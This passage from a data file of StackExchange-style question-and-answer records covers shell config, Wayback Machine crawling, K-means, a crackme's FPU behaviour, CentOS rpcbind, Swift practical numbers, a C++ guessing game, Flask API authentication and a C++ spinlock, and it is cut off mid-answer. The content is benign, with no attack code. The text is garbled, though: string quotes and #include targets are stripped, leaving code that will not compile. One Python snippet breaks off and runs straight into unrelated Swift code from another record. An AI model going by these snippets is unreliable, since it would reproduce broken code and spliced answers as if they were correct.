~/.bashrc,mv ~/.bashrc ~/blah && ln -s ~/blah/.bashrc ~/.bashrcsource the new file from ~/.bashrc,mv ~/.bashrc ~/blah && cat > ~/.bashrc << 'EOF'. ~/blah/.bashrcEOFor launch bash with --rcfile.mv ~/.bashrc ~/blahbash --rcfile ~/blah/.bashrc" } { "id": "_webmaster.82421" , "question": "I understand archive.org takes its website list to crawl from Alexa, but I don't understand how it decides the snapshot frequencies for each website. We can see some websites are crawled multiple times per day while others are crawled less than once a month. How is the frequency a website will be archive determined by the Wayback Machine?" , "title": "What determines the frequency the Wayback Machine crawls one's website?" , "tags": "web crawlers;internet archive" } { "id": "_cs.45582" , "question": "I'm using K-means for unsupervised learning, using data vectors with an IP address and a language. I need to represent them in an abstract way, so that I can use this algorithm. " , "title": "While using K-means, how do I represent IP addresses and languages on the coordinate axis?" , "tags": "machine learning" , "accepted_answer": "If your data doesn't map in an obvious way onto vectors of continuous real numbers, don't use K-means.To use K-means clustering you need to have a well defined distance between any two points in the space. To do that you need to have a notion of distance for each axis.Typically discrete classifications like language don't have any natural mapping onto real numbers." } { "id": "_softwareengineering.130461" , "question": "On a uniprocessor, it is apparently optimal to schedule jobs that take less time first assuming non-preemptive scheduling - once a job runs, it must finish. Why? I am confused about how the ordering would change the overall latency. Since a uniprocessor can only take on a single process at a time, wouldn't the latency be the same regardless of order?" , "title": "Why is it optimal to schedule shorter jobs first on a uniprocessor?" , "tags": "scheduling" , "accepted_answer": "Although this algorithm was designed to provide maximum throughput in all the scenarios, this is not correct for all situations. What if the processor has a lot of small processes? It will definitely lead to starvation. The turnaround time of small processes will be low, whereas that of large processes will be large as compared to other scheduling algorithms.Wikipedia says:Since turnaround time is based on waiting time plus processing time, longer processes are significantly affected by this. Overall waiting time is smaller than FIFO, however since no process has to wait for the termination of the longest process.If you schedule larger jobs first, lots of small processes would have to wait for the process to terminate (as this is non-preemptive). And since turnaround time is total time between submission of a process and its completion, this would definitely be low. But in SJF, very few large processes wait for some small processes, so turnaround time of only those large processes would be affected.Check out this link for a comparison of various techniques." } { "id": "_reverseengineering.8938" , "question": "So im working on an crackme and came across a couple of FPU loads and pops that confused me.Address main 0040169E pops 80 bit value of 00000000_FED63690h from the FPU stack (ST0=4275451536.0000000000) to the CPU stackbut when put on the CPU stack its value is changed to CPU StackLocked Value ASCII Comments0028FB38 |D2000000 0028FB3C |41EFDAC6 AWhy?Here is the code with some comments:main 00401696 PUSH EAX EAX=FED63690main 00401697 FILD QWORD PTR SS:[LOCAL.268] Loads the FED63690 as a 64 bit value so -> 00000000_FED63690main 0040169A LEA ESP,[LOCAL.266] ESP=0028FB20 (loads address of string on stack), ST0=4275451536.0000000000 (which euals above number)main 0040169E FSTP QWORD PTR SS:[LOCAL.260] POPS 80 bit value of ST0 onto program stack as 64 bit LOCAL.260 is address 0028FB38 Stack now looks like: CPU Stack Locked Value ASCII Comments 0028FB38 |D2000000 0028FB3C |41EFDAC6 Amain 004016A4 FLD QWORD PTR SS:[LOCAL.260] Loads value onto FPU Stack so -> ST0=4275451536.0000000000 (Same as before)main 004016AA FSTP QWORD PTR SS:[LOCAL.264] <%i> = -771751936. POPS 80 bit value of ST0 onto program stack as 64 bit LOCAL.260 is address 0028FB28 Stack now looks like: CPU Stack Locked Value ASCII Comments 0028FB28 |D2000000 0028FB2C |41EFDAC6 Amain 004016AE MOV DWORD PTR SS:[LOCAL.265],00401469 Format => %imain 004016B6 LEA EAX,[LOCAL.194] main 004016BC MOV DWORD PTR SS:[LOCAL.266],EAX s => OFFSET LOCAL.194main 004016BF CALL Result is: s=-771751936" , "title": "Trouble understanding change in number when popped from FPU to CPU Stack" , "tags": "stack variables" , "accepted_answer": "4275451536 is greater than 2^31 (2147483648) but less than 2 ^32 (4294967296)so it is represented as 2^31 + ( 2 ^31 * ((4275451536 - 2 ^31 ) / 2^31)ie 2^31 * 1.990912266075611114501953125 exponent is always written with bias (1023 for 64 bit precision) added to it so 1054 = 0x41e fractional part can be written as 1/2 + 1/4 + 1/8 + 1/16 + 1/32 + 1/64 ..... 1/2 ^n0.984375 < 0.990912266075611114501953125 < 0.9921875(1/2+...+1/64) < ------- < (1/2+....+ 1/128) 111111mantissa is approximated upto 52 bits explicitly and 1 or 0 is added implicitly a c src that shows the conversion of your specific decimal is shown below#include #include #include #define BIAS 1023int main(void) { char binform[100] = {0}; unsigned long a = 4275451536; _ultoa_s(a%2,&binform[0],4,10); a = a/2; int i = 1; while (a>2) { a = a/2; _ultoa_s(a%2,&binform[i++],4,10); } char paddedstr[100] = {0}; sprintf_s(paddedstr,100,%s0000000000000000000000,_strrev(binform)); printf(%x-%I64x\\n,i+BIAS,_strtoui64(&paddedstr[1],0,2));}on execution the results are>F2H.exe41e-fdac6d2000000" } { "id": "_unix.184513" , "question": "I am a professor (Mechanical Engineering department) at a college which is making the transition from Windows to Linux. However, we are quite unsure whether all the CAE softwares that we use would be compatible with Linux.The list of 13 softwares that we currently use are listed below : Solid Edge,Uni Graphics,Hyperworks,CATIA,ANSYS,FLUENT,GAMBIT,MATLAB,AutoCAD,ABAQUS,ADAMS,NASTRAN, andSTAAD PRO.Which would be the best choice of OS for my college? Red Hat Enterprise Linux or CentOS? Of the little research that I did, I came to know that some work in RHEL, which is a paid distribution. Another query of mine is whether a software would work in CentOS if it works in RHEL? Also, what about Ubuntu 14.04 LTS?" , "title": "Compatibilty of the following softwares" , "tags": "centos;rhel;compatibility" } { "id": "_unix.347759" , "question": "I find myself having to play around with Solaris. I would usually redirect with 2>/dev/null which works on Solaris in general, but not with these two ways of doing recursive greps on Solaris.# no errors, but doesn't actually redirect permission denieds to /dev/null/usr/sfw/bin/ggrep -rni test / 2>/dev/null# errorsfind / -type f -exec grep test {} + 2>/dev/nullfind: bad option 2find: [-H | -L] path-list predicate-list Can someone shed some light on this?" , "title": "Redirect errors to /dev/null when greping and finding on Solaris" , "tags": "grep;find;solaris;io redirection" } { "id": "_cs.12667" , "question": "Well, i have a binary search tree $T$ that is equilibrated by height witch has $2^d+c$ nodes ($c<2^d$). What is the number of comparisons that will occur in the worst case scenario, if we ask whether $k\\in V(T)$ and why does it arise?" , "title": "Worst case scenario in binary search tree retrieval" , "tags": "graph theory;search trees;search problem" } { "id": "_softwareengineering.155064" , "question": "We are planning to adopt user-stories to capture stakeholder 'intent' in a lightweight fashion rather than a heavy SRS (software requirements specifications). However, it seems that though they understand the value of stories, there is still a desire to 'convert' the stories into an SRS-like language with all the attributes, priorities, input, outputs, source, destination etc.User-stories 'eliminate' the need for a formal SRS like artifact to begin with so what's the point in having an SRS? How should I convince my team (who are all very qualified CS folks by the way - both by education and practice) that the SRS would be 'eliminated' if we adopted user-stories for capturing the functional requirements of the system? (NFRs etc can be captured too, but that's not the intent of the question).So here's my 'work-flow' argument: Capture initial requirements as user-stories and later elaborate them to use-cases (which are required to be documented at a low level i.e. describing interactions with the UI prototypes/mockups and are a deliverable post deployment). Thus going from user-stories to use-cases rather than user-stories to SRS to use-cases.How are you all currently capturing user-stories at your workplace (if at all) and how do you suggest I 'make a case' for absence of SRS in presence of user-stories?" , "title": "How do I convince my team that a requirements specification is unnecessary if we adopt user-stories?" , "tags": "agile;requirements;user story;requirements management" , "accepted_answer": "Baby steps. Continue to write the SRS for a while. Then call a meeting and discuss whether they still serve a purpose. Does anyone still read them? Is the time spent on them justified? Is there another intermediate step that would be more lightweight?You never know, you might find that you're wrong. Remember the Agile manifesto, we find more value in Working software over comprehensive documentation, but there is still value in the latter.My guess though is that you'll quickly discover that the desire to continue to write heavy documents falls away when they see how closely use cases and user stories relate." } { "id": "_softwareengineering.246282" , "question": "Should a view call a helper function?Say I pass in data from the DB to the view. The data is a unix timestamp. Should I make a call in my view to convert it to a human readable TS or should I convert it in the controller before passing it in? OR should I make a method in the model that converts...Looking for a best practice or secure coding concerned answer." , "title": "Should a view call a function?" , "tags": "mvc" , "accepted_answer": "This seems like a fairly trivial calculation, indeed, you could implement it in a few lines of javascript. It is your view that is in charge of displaying data; let it do its work." } { "id": "_scicomp.26192" , "question": "Given the one dimensional equation:$\\epsilon\\frac{\\partial^2u}{\\partial x^2} +\\frac{\\partial u}{\\partial x} = 0 $ with $0\\le\\epsilon \\ll1$ with boundary conditions $u(0) = 0$ and $u(1) = 2$, we can't neglect the diffusive term because of the boundary conditions. In which situations (with very small $\\epsilon$ could we? What's the mathematical theory behind that could explain it?Also, if we had a time-dependent equation:$\\frac{\\partial u}{\\partial t} = \\epsilon\\frac{\\partial^2u}{\\partial x^2} +\\frac{\\partial u}{\\partial x}$ how would the situation change? what if the convective term were nonlinear, such as in the Burgers equation? I haven't been able to find references on this topic, I would appreciate any. " , "title": "When is it safe to ignore the diffusion term in an advection-diffusion equation?" , "tags": "pde;hyperbolic pde;advection diffusion;advection;singular perturbation" , "accepted_answer": "The stationary equation you show transports information from the right to the left via the advection term; it also diffuses slightly. If you switch off the diffusion term altogether, then you only have transport from the right to the left, and you need to also drop the boundary condition at the left: because information is from the right to the left, nothing that happens at the left end of the domain has any effect on the solution.A similar argument can be made for the time dependent equation.In general, these equations are examples of singularly perturbed problems. You will be able to find a lot of literature on the subject." } { "id": "_codereview.88645" , "question": "Project Euler, problem #50:The prime 41, can be written as the sum of six consecutive primes:41 = 2 + 3 + 5 + 7 + 11 + 13 This is the longest sum of consecutive primes that adds to a prime below one-hundred.The longest sum of consecutive primes below one-thousand that adds to a prime, contains 21 terms, and is equal to 953.Which prime, below one-million, can be written as the sum of the most consecutive primes?I came up with this code, but it only works decently for primes below ten thousand.Any ideas on how to optimize it?from pyprimes import *def sequence_exists(l,ls,limit = 100): for x in range(0,len(ls)-l): if x+l > len(ls): return False if any (ls[i] > limit/6 for i in range(x,x+l,1)) : return False test_sum = sum(ls[x:x+l:1]) if (test_sum Int { var firstNum:Int = 0 while true { // get value from user. Using optional input since readLine returns an optional string. let input = readLine() // ensure string is not nil if let unwrappedInput = input { if let unwrappedInt = Int(unwrappedInput) { firstNum = unwrappedInt break } else { // the input doesn't convert into an int print(`\\(unwrappedInput)` is not an integer. Please enter an integer) } } else { // did not enter anything print(Please enter an integer) } } return firstNum}func addOne(signArray: [Int]) -> [Int] { // finds the combinations var signArray2 = [Int]() for i in 0...signArray.count-1 { signArray2.append (signArray[i]) } for i in 0...signArray2.count-1 { if signArray2[i] == 1 { signArray2[i] = 0 } else { signArray2[i] = 1 break } } return signArray2}func signEval (signArray: [Int], divArray: [Int], inNum: Int) -> Bool {// changes 2nd var counts = 0 for i in 0...divArray.count-1 { if signArray[i] == 0 {counts = divArray[i] + counts } if counts == inNum { return true } } return false}print(Please enter a number to find the summable numbers up to that number:)var input2 = getInteger()// if num = 1 print 1 if num = 2 print 1 and 2 else print >2 1, 2var inNum = 0var numHalf = 0.0var numRound = 0.0var numCheck = falsevar numCheck2 = falsevar numQuarter = 0.0var numSixth = 0.0var divArray:[Int] = []var theirArray = [Int]()var signArray = [Int]()// array of 0s and 1svar summableArray:[Int] = [1,2] // need to check if num is bigger than 2!for input in 1...input2 { numHalf = Double (input) / 2.0 numRound = round(numHalf) if numRound == numHalf { numCheck = true } if input > 2 && numCheck == false { // odd numbers greater than one are not summable } else { // these are possible summable nums numQuarter = Double (input) / 4.0 numRound = round(numQuarter) if numRound == numQuarter { numCheck = true } else { numCheck = false } numSixth = Double(input) / 6.0 numRound = round(numSixth) if numRound == numSixth { numCheck2 = true } else { numCheck2 = false} if numCheck == true || numCheck2 == true { theirArray = [] divArray = [] signArray = [] summableArray = []for i in 1...input { theirArray.append (i) }for i in 1...input { // creates an array of all the diviors of inputted number if input%i == 0 { divArray.append (i) }} for j in 1...divArray.count {// signArray.append(0) }for i in 1...input{let x: Int = Int(pow(Double(2),Double(input-1)))// int 2 to the power of input -1 var Boolcheck = false for q in 1...x-1 { // i to 2^n -1 (sequence to check) Boolcheck = (signEval(signArray: signArray, divArray: divArray, inNum: i))// checks signArray = addOne(signArray: signArray)// adding the ones to the array if Boolcheck == true { summableArray.append(i)// creates array of mini summable numbers break } } if summableArray.count == input { print (\\(input)) }} }}}" , "title": "Practical number algorithm" , "tags": "time limit exceeded;swift;mathematics" , "accepted_answer": "Some points in addition to what Roland already said:You are correct that the readLine() returns an optional and you needto ensure that it is not nil. However, nil is only returned on anend-of-file condition, which means that it makes no sense to callreadLine() again. You can only terminate the program in thatsituation. That is a typical use-case for guard:func readInteger() -> Int { while true { guard let line = readLine() else { fatalError(Unexpected end-of-file) } if let n = Int(line) { return n } print(Please enter an integer) }}Now let's have a look atvar signArray2 = [Int]()for i in 0...signArray.count-1 { signArray2.append (signArray[i])}First, this will crash if signArray is empty. Better use a half-openrange instead:for i in 0.. [Int] { var divs = [Int]() for i in 1...Int(sqrt(Double(n))) { if n % i == 0 { divs.append(i) if n/i != i { divs.append(n/i) } } } return divs // or divs.sorted(), if necessary}Your code signArray = []for j in 1...divArray.count {// signArray.append(0)}creates an array with the same size as divArray, but filled withzeros. That can be simplified tosignArray = Array(repeating: 0, count: divArray.count)There is no need to use string interpolation when printing an integer(or any single value), print (\\(input))can be simplified to print(input)Why is your code slow?There is a logical error in let x: Int = Int(pow(Double(2),Double(input-1)))// int 2 to the power of input -1because the number of possible combinations of divisors isjust \\$ 2 ^ {\\text{number of divisors}} \\$, which can be computed as let x = 1 << divArray.countWith that change, your program computes all practical numbersup to 200 in 0.2 seconds, and up to 1,000 in 25 seconds(on a MacBook, compiled in Release mode, with optimization).A faster algorithmIn order to determine if \\$ n \\$ is a practical number,you test all numbers \\$ 1 \\le i \\le n \\$ if they are a sumof distinct divisors of \\$ n \\$, and for each \\$ i \\$ that is done by building allpossible sums of divisors, until \\$ i \\$ is found. It is more efficient to work the other way around. From the list ofdivisors of \\$ n \\$, build a list of all sums of distinct divisors.This can be done iteratively: Starting with \\$ 0 \\$, the first, second, ...divisor is added to the numbers obtained previously.Then check if all numbers from \\$ 1 ... n-1 \\$ are in that list.The following implementation uses a boolean array to mark all numberswhich are confirmed as sums of divisors. In addition, it uses thatpowers of two are always practical numbers (using the method fromDetermining if an integer is a power of 2).func divisors(_ n: Int) -> [Int] { var divs = [Int]() for i in 1...Int(sqrt(Double(n))) { if n % i == 0 { divs.append(i) if n/i != i { divs.append(n/i) } } } return divs.sorted()}func isPractical(n: Int) -> Bool { // 1 and 2 are practical numbers: if n == 1 || n == 2 { return true } // Every other practical number must be divisible by 4 or 6: if n % 4 != 0 && n % 6 != 0 { return false } // Every power of 2 is a practical number: if n & (n-1) == 0 { return true } var isSumOfDivisors = Array(repeating: false, count: n) isSumOfDivisors[0] = true var last = 0 // Index of last `true` element. // For all divisors d of n (except n): for d in divisors(n).dropLast() { // For all i which are a sum of smaller divisors (in reverse order, so that // we can simply update the array): for i in stride(from: min(last, n-1-d), through: 0, by: -1) where isSumOfDivisors[i] { // Mark i + d: isSumOfDivisors[i + d] = true if i + d > last { last = i + d } } } // n is practical if isSumOfDivisors[i] == true for all i = 0...n-1: return !isSumOfDivisors.contains(false)}Test code:let startDate = Date()let practicalNumbers = (1...10_000).filter(isPractical)let endDate = Date()print(endDate.timeIntervalSince(startDate))print(practicalNumbers)On my MacBook, this computes the practical numbers up to 1,000 in 0.003 seconds, and up to 10,000 in 0.1 seconds." } { "id": "_codereview.151142" , "question": "I got the idea for this program from this site.functions.cpp:#include #include #include namespace my{ int getOneOrZero() { return (rand() >> 14); // >> the bitwise operator }// getArray leaves the numbers ( 0-99 ) that have in their bit position represented by bigFlag the num ( 0 or 1 )void printNums(int8_t bitFlag, int num) // num is from getOneOrZero() so it's 1 or 0;{ for (int counter = 0; counter < 100; ++counter) // there are quite a few implicit conversions to one byte integers { if ( (counter & bitFlag) != num*bitFlag ) std::cout << std::setw(8) << ; else std::cout << std::setw(8) << counter; if ( (counter % 9) == 0) std::cout << std::endl; }}char getAnswer(){ while (1) { std::cout << \\n Is your number shown above ?\\n\\n 'y' for yes , 'n' for no , 'r' for reset : ; char answer; std::cin >> answer; std::cin.ignore(32767,'\\n'); if (std::cin.fail()) std::cin.clear(); if (answer == 'y' || answer == 'n' || answer == 'r') // I could use switch but nevermind return answer; }}void turnsPassed(int turns){ std::cout << \\n This is turn << turns << \\n\\n;}int swapZeroOrOne(int num){ switch (num) { case 0 : return 1; case 1 : return 0; default: std::cout << \\nSwapZeroOrOne ERROR !\\n; break; }}int getUpdateForGuessNum(int8_t flag, int num, char answer){ switch (answer) { case 'n' : { int newNum = swapZeroOrOne(num); return newNum*flag; } case 'y' : return num*flag; case 'r' : break; default : std::cout << \\n ERROR ! In getUpdateForGuessNum\\n; break; } }}main.cpp:#include #include #include #include #include functions.hpp#include constants.hpp#include // for system() commands >.(time(0)));Reset : // goto !system(cls);int guessNum = 0;// guessing loop !for (int counter = 0; counter < 7; ++counter){ if (counter == 0) std::cout << \\n Think of a number between 0 to 99\\n; my::turnsPassed(counter + 1); // +1 cause counter starts from 0 int num {my::getOneOrZero()}; // this gives a randomness to the numbers shown each time you run the programm my::printNums(myVar::bitFlag[counter],num); char answer { my::getAnswer() }; if (answer == 'r') goto Reset; guessNum |= my::getUpdateForGuessNum(myVar::bitFlag[counter],num,answer); system(cls);}std::cout << \\n Your number is \\n;std::cout << \\n << std::setfill('-') << std::setw(81) << \\n;std::cout << std::setfill(' ') << std::setw(41) << guessNum << \\n;std::cout << \\n << std::setfill('-') << std::setw(81) << \\n;system(pause); // I should fix thisreturn 0;}functions.hpp:#pragma oncenamespace my{ int getOneOrZero(); void printNums(int8_t,int); char getAnswer(); void turnsPassed(int); int getUpdateForGuessNum(int8_t,int,char); int swapZeroOrOne(int);}constants.hpp:#pragma oncenamespace myVar{ const int8_t bitFlag[] {0x1, 0x2, 0x4, 0x8, 0x10, 0x20, 0x40, 0x80};}Please suggest ways to improve this program. Explain the suggestions you make because I need to know why I should change something." , "title": "Program that guesses your number using bitwise operations" , "tags": "c++;beginner;c++11;bitwise;number guessing game" , "accepted_answer": "Here are some things that may help you improve your code.Understand type implicationsThe code includes a bitFlag array that is declared as const int8_t but then contains a value that is 0x80. The problem with that is that when the compiler encounters the constant 0x80, it converts it into an int by default, and so that would be the value 128. However, 128 is not representable in an int8_t. That bit pattern is actually -128 as an int8_t, so I'd recommend either using a different type (such as uint8_t) for the variable or writing -0x80 for the constant which is correct, but a little strange looking.Know the standard typesThis function is in the current code:int getOneOrZero(){ return (rand() >> 14); // >> the bitwise operator}There are two problems with this. The first is that it apparently assumes that an int is 16 bits. However, on my machine, an int is 64 bits. In general, you can't assume that the size of an int is a fixed size. The standard only says (implicitly from the required range) that it must be 16 bits, but it may be larger. The second problem is addressed in the next point.Consider using a better random number generatorBecause you are using a compiler that supports at least C++11, consider using a better random number generator. In particular, instead of rand, you might want to look at std::bernoulli_distribution and friends in the header.Here's one way to rewrite it:int getOneOrZero(){ static std::mt19937 gen{std::random_device{}()}; static std::bernoulli_distribution bd; return bd(gen); }Ensure every control path returns a proper valueThe swapZeroOrOne routine returns 1 or 0 under some set of conditions but then doesn't return anything at all otherwise (although it prints an error essage). This is an error because all control paths should return a value. Since it's only used once, and because it can be trivially rewritten, I'd probably replace this:case 'n' : { int newNum = swapZeroOrOne(num); return newNum*flag; }with this: return (1-num)*flag;Avoid using gotoHaving a goto statement in modern C++ is usually a sign of bad design. Better would be to eliminate them entirely -- it makes the code easier to follow and less error-prone. In this code, it's probable that you could use a loop instead:for (bool playing=true; playing; ) // code to play the game // ask user if they want to play again playing = answer == 'r'; }Don't use system(cls)There are two reasons not to use system(cls) or system(pause). The first is that it is not portable to other operating systems which you may or may not care about now. The second is that it's a security hole, which you absolutely must care about. Specifically, if some program is defined and named cls or pause, your program will execute that program instead of what you intend, and that other program could be anything. First, isolate these into a seperate functions cls() and pause() and then modify your code to call those functions instead of system. Then rewrite the contents of those functions to do what you want using C++. For example, if your terminal supports ANSI Escape sequences, you could use this:void cls(){ std::cout << \\x1b[2J;}Think of the userIf the user were to get an error message that said:ERROR ! In getUpdateForGuessNumWhat use is that unless they also happen to be the author of the code? Instead, for errors that are an indication of a program flaw, I'd use assert or for things that are unusual but still should be accomodated by the program, use an exception.Use objectsYou have a guessNum and counter to support the game and then separate functions printNums and getAnswer, etc. that operate on guessNum. With only a slight syntax change, you would have a real object instead of C-style code written in C++. You could declare a GuessNum object and then printNums, getAnswer, etc. could all be member functions.Don't use std::endl unless you really need to flush the streamThe difference between std::endl and '\\n' is that std::endl actually flushes the stream. This can be a costly operation in terms of processing time, so it's best to get in the habit of only using it when flushing the stream is actually required. It's not for this code.Omit return 0When a C or C++ program reaches the end of main the compiler will automatically generate code to return 0, so there is no need to put return 0; explicitly at the end of main. Note: when I make this suggestion, it's almost invariably followed by one of two kinds of comments: I didn't know that. or That's bad advice! My rationale is that it's safe and useful to rely on compiler behavior explicitly supported by the standard. For C, since C99; see ISO/IEC 9899:1999 section 5.1.2.2.3:[...] a return from the initial call to the main function is equivalent to calling the exit function with the value returned by the main function as its argument; reaching the } that terminates the main function returns a value of 0.For C++, since the first standard in 1998; see ISO/IEC 14882:1998 section 3.6.1:If control reaches the end of main without encountering a return statement, the effect is that of executing return 0;All versions of both standards since then (C99 and C++98) have maintained the same idea. We rely on automatically generated member functions in C++, and few people write explicit return; statements at the end of a void function. Reasons against omitting seem to boil down to it looks weird. If, like me, you're curious about the rationale for the change to the C standard read this question. Also note that in the early 1990s this was considered sloppy practice because it was undefined behavior (although widely supported) at the time. So I advocate omitting it; others disagree (often vehemently!) In any case, if you encounter code that omits it, you'll know that it's explicitly supported by the standard and you'll know what it means." } { "id": "_unix.371667" , "question": "I installed CentOS7 on Virtualbox. I have installed port map using sudo yum install portmap and then tried to enable it with service rpcbind start however I can not enable the service. I tried rebooting and entering following codes but nothing happened:[hadi@localhost ~]$ systemctl enable rpcbind.socket[hadi@localhost ~]$ systemctl restart rpcbind.serviceJob for rpcbind.service failed because the control process exited with error code. See systemctl status rpcbind.service and journalctl -xe for details.I appreciate your suggestionsif you need the status of rpcbind: Redirecting to /bin/systemctl status -l rpcbind.service rpcbind.service - RPC bind service Loaded: loaded (/usr/lib/systemd/system/rpcbind.service; indirect; vendor preset: enabled) Active: failed (Result: exit-code) since Sat 2017-06-17 18:32:07 IRDT; 32s ago Process: 4382 ExecStart=/sbin/rpcbind -w $RPCBIND_ARGS (code=exited, status=127)Jun 17 18:32:07 localhost.localdomain systemd[1]: Starting RPC bind service...Jun 17 18:32:07 localhost.localdomain rpcbind[4382]: /sbin/rpcbind: symbol lookup error: /sbin/rpcbind: undefined symbol: libtirpc_set_debugJun 17 18:32:07 localhost.localdomain systemd[1]: rpcbind.service: control process exited, code=exited status=127Jun 17 18:32:07 localhost.localdomain systemd[1]: Failed to start RPC bind service.Jun 17 18:32:07 localhost.localdomain systemd[1]: Unit rpcbind.service entered failed state.Jun 17 18:32:07 localhost.localdomain systemd[1]: rpcbind.service failed." , "title": "How to activate rpcbind service in CentOS installed on virtual box?" , "tags": "centos;nfs" , "accepted_answer": "Please see this bug report:https://bugzilla.redhat.com/show_bug.cgi?id=1396291rpcbind can fail to start after updating to the 7.3 rpcbind package from an earlier version, if the libtirpc package is not updated as well. [...] Updating the libtirpc package fixes this issue.In other words: update the libtirpc package and then restart rpcbind." } { "id": "_webmaster.3028" , "question": "I'm starting to create a site, and want to run it on a VPS rather than shared for a variety of reasons. This means that, if I were to want email services, I'd need to tackle the non-trivial task of running an email server. Not a fun problem for a noob like me.The three uses I can think of break down as follows:The usual email the admin/support/whatever services. I suppose I could get away with using mysite@gmail.com but I'd prefer to keep everything uniform if possible.Account confirmation emails / password resets. This seems like the major hurdle.Digest emails, i.e. the following has happened to your stuff in the last week - replies, votes, etc. Not dissimilar from the stackoverflow emails. Opt-in, obviously.Do I really have the option of not supporting email on my site?" , "title": "How Important Is Email?" , "tags": "email" , "accepted_answer": "Email is still very important. And don't use a company@gmail.com / @hotmail.com account, it just sends all the wrong kinds of signals. On the other hand, nobody says you need to run an SMTP server yourself.One simple and low-cost solution is free Google Apps Standard on your own domain name. This gives you a simple web interface to manage email accounts, a GMail webmail application, and POP3 / SMTP / IMAP4 access to your emails. You can use a regular POP3/SMTP client library to send emails from your webapp servers. I have seen anecdotal complaints about slow'ish delivery and hitting Google's limits too soon while using the free Google Apps edition; but personally I have never had problems with Google Apps.If you need to send many emails you can always upgrade to a for-pay Google App Engine account, or switch your outgoing mailserver to something like Sendgrid.You should set up a Sender Policy Framework record to proactively whitelist the email servers for your domain, and include the SPF records of your external mail providers.One last thing: Don't underestimate the power of emails as a sales & retention tool. A targeted personal email after signup, a reminder email if someone isn't using the site during their trial period, etc -- these do help to reduce abandonment rate." } { "id": "_cs.67472" , "question": "The R-Tree creates 'rectangles' to index 2D data. How is their size calculated exactly? What happens to the performance by changing this parameter i.e. the size of this rectangle/MBR? Number of overlaps, area covered change but can this speed up some kind of queries or build a smaller index?" , "title": "How is the R-Tree's MBR size determined? Changes to MBR?" , "tags": "database theory;databases" } { "id": "_cs.19657" , "question": "Two strings $S$ and $T$ are said to be conjugate if there are two non-empty strings $A$ and $B$ such that $S = A+B$ and $T = B+A$ ($+$ is concatenation). How can I find if two strings are conjugate or not?Example: if S=tokyo and T=kyoto, then the pair $(S,T)$ is conjugate, because we can find A=to and B=kyo." , "title": "Check if there exist A and B such that S=A+B and T=B+A" , "tags": "algorithms;strings" } { "id": "_unix.1267" , "question": "If I run a program with an infinite loop with nohup, will the program run indefinitely (until the machine is reset or until I manually terminate it)?" , "title": "Is nohup indefinite?" , "tags": "command line;process;signals" , "accepted_answer": "Nohup sets the default behavior of the HANGUP signal, which might get overriden by the application. Other signals from other processes with permission (root or same user) or bad behavior (seg faults, bus errors) can also cause program termination. Resource limitations (ulimit) can also end the program.Barring these, your infinite loop might well run a very long time." } { "id": "_softwareengineering.206470" , "question": "At one of the DevDays conferences a presenter said that Workflow Foundation isn't just for applications that require persistence, but they can make it easier to write and maintain Async WCF code and the corresponding error handling. (try.. catch)Assuming that is true, is Workflow Foundation able to use all the CPUs in a system? (Async IO)What WF-specific guidance is needed before writing a CPU-heavy Async WCF application within the WF framework? (only tips that are specific to Workflow Foundation)" , "title": "Is Windows Workflow Foundation appropriate for a CPU-heavy async application?" , "tags": "workflows;wcf;async;asynchronous programming;workflow foundation" } { "id": "_codereview.19786" , "question": "I've written a couple of functions to check if a consumer of the API should be authenticated to use it or not.Have I done anything blatantly wrong here?ConfigAPI_CONSUMERS = [{'name': 'localhost', 'host': '12.0.0.1:5000', 'api_key': 'Ahth2ea5Ohngoop5'}, {'name': 'localhost2', 'host': '127.0.0.1:5001', 'api_key': 'Ahth2ea5Ohngoop6'}]Exceptionsclass BaseException(Exception): def __init__(self, logger, *args, **kwargs): super(BaseException, self).__init__(*args, **kwargs) logger.info(self.message)class UnknownHostException(BaseException): passclass MissingHashException(BaseException): passclass HashMismatchException(BaseException): passAuthentication methodsimport hashlibfrom flask import requestfrom services.exceptions import (UnknownHostException, MissingHashException, HashMismatchException)def is_authenticated(app): Checks that the consumers host is valid, the request has a hash and the hash is the same when we excrypt the data with that hosts api key Arguments: app -- instance of the application consumers = app.config.get('API_CONSUMERS') host = request.host try: api_key = next(d['api_key'] for d in consumers if d['host'] == host) except StopIteration: raise UnknownHostException( app.logger, 'Authentication failed: Unknown Host (' + host + ')') if not request.headers.get('hash'): raise MissingHashException( app.logger, 'Authentication failed: Missing Hash (' + host + ')') hash = calculate_hash(request.method, api_key) if hash != request.headers.get('hash'): raise HashMismatchException( app.logger, 'Authentication failed: Hash Mismatch (' + host + ')') return Truedef calculate_hash(method, api_key): Calculates the hash using either the url or the request content, plus the hosts api key Arguments: method -- request method api_key -- api key for this host if request.method == 'GET': data_to_hash = request.base_url + '?' + request.query_string elif request.method == 'POST': data_to_hash = request.data data_to_hash += api_key return hashlib.sha1(data_to_hash).hexdigest()" , "title": "Authentication for a Flask API" , "tags": "python;authentication;web services;flask" } { "id": "_codereview.95590" , "question": "Could you please review my spinlock implementation?class spinlock {private: static const std::thread::id lock_is_free; std::atomic lock_owner; int lock_count;public: spinlock() : lock_owner(lock_is_free), lock_count(0) { } void lock() { static thread_local std::thread::id this_thread_local = std::this_thread::get_id(); auto this_thread = this_thread_local; for (auto id = lock_is_free; ; id = lock_is_free) { if (lock_owner.compare_exchange_strong(id, this_thread, std::memory_order_acquire, std::memory_order_relaxed)) { ++lock_count; break; } id = this_thread; if (lock_owner.compare_exchange_strong(id, this_thread, std::memory_order_acquire, std::memory_order_relaxed)) { ++lock_count; break; } } } void unlock() { assert(lock_owner.load(std::memory_order_relaxed) == std::this_thread::get_id()); if (lock_count > 0 && --lock_count == 0) { lock_owner.store(lock_is_free, std::memory_order_release); } }};const std::thread::id spinlock::lock_is_free;" , "title": "C++11 recursive atomic spinlock" , "tags": "c++;c++11;multithreading" , "accepted_answer": "Use of TLSI'm not completely sold on your use of TLS. This looks like a premature optimization to me, that said if you have measured and it improves your performance then keep it. Static memberI think it would be better style to not have this static member but this is highly subjective.ReadabilityYour code here: for (auto id = lock_is_free; ; id = lock_is_free) { if (lock_owner.compare_exchange_strong(id, this_thread, std::memory_order_acquire, std::memory_order_relaxed)) { ++lock_count; break; } id = this_thread; if (lock_owner.compare_exchange_strong(id, this_thread, std::memory_order_acquire, std::memory_order_relaxed)) { ++lock_count; break; } }is very difficult to read for me. In fact I'm struggling to understand what the intended behaviour is. To me it looks like what you really wanted was:// If we're being locked recursively, this will always compare false// (insert your desired memory_order here) because no one can fiddle// with `lock_owner` while we have the lock. If we're not entering// recursively then this will always compare true because the thread// doing the checking can only be in one place at one time. if(lock_owner.load() != this_thread){ // Okay so it's not a recursive call. do{ auto id = lock_is_free; }while(!lock_owner.compare_exchange_weak(id, this_thread, 